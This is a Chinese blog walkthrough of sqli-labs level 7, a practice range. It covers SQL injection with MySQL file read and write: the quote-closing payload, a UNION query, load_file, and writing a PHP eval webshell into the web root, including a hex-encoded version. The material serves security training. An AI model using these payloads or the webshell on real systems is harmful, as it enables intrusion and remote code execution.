sqli-labs靶场7关(知道根目录的注入)-爱代码爱编程
知识点
首先要掌握一下相关的函数和知识点
函数:
load_file()函数 是MySQL读取本地文件的函数(读取)
into outfile()函数 是用来导出文件的(写入)
@@basedir函数 查询当前路径
@@datadir函数 查询数据库安装路径
1.load_file()函数用法
2.into outfile()函数用法
查看一下
3.查询当前路径:
select @@basedir;
4.查询当前MySQL路径:
select @@datadir;
5.解决写入权限问题
在E:\Phpmysql\PHPTutorial\MySQL(mysql根目录中)
打开my.ini
添加一条
secure_file_priv=“D:” //就是将写入的文件放在D盘下面
保存退出
然后重启一下phpstudy
第七关开始
查看源码
发现$id传参的值是被((‘包裹’))
所以闭合字符为((‘’))
但是我们还是要从浏览器上开始
一、判断注入点
判断闭合字符 注释后边的语句
?id=1')) and 1=1 --+ (回显正常)
?id=1')) and 1=2 --+ (回显错误)
证明此关的注入点是’))
查看回显信息就能看出是写入文件的一个注入
二、判断列数
?id=1')) order by 3 --+
三、联合查询
?id=1')) union select 1,2,3 --+
四、进行读取的执行
?id=1')) union select 1,2,load_file("D:\2.txt") into outfile 'D:/3.php' --+
读取D盘中的2.txt内容,并将内容写入到D盘下面的3.php
?id=1')) union select 1,2,load_file("D:/2.txt") into outfile 'D:/4.php'--+
这条语句要证明/和\在这个语句中没有影响,也不需要转义
五、进行文件写入
?id=1')) union select 1,2,'<?php eval($_POST[cmd]);>' into outfile "d:\ma.php" --+
注意:上传一句话木马一定要转成16进制
union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile “D://phpstudy//www//sqli”
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_46527080/article/details/111086822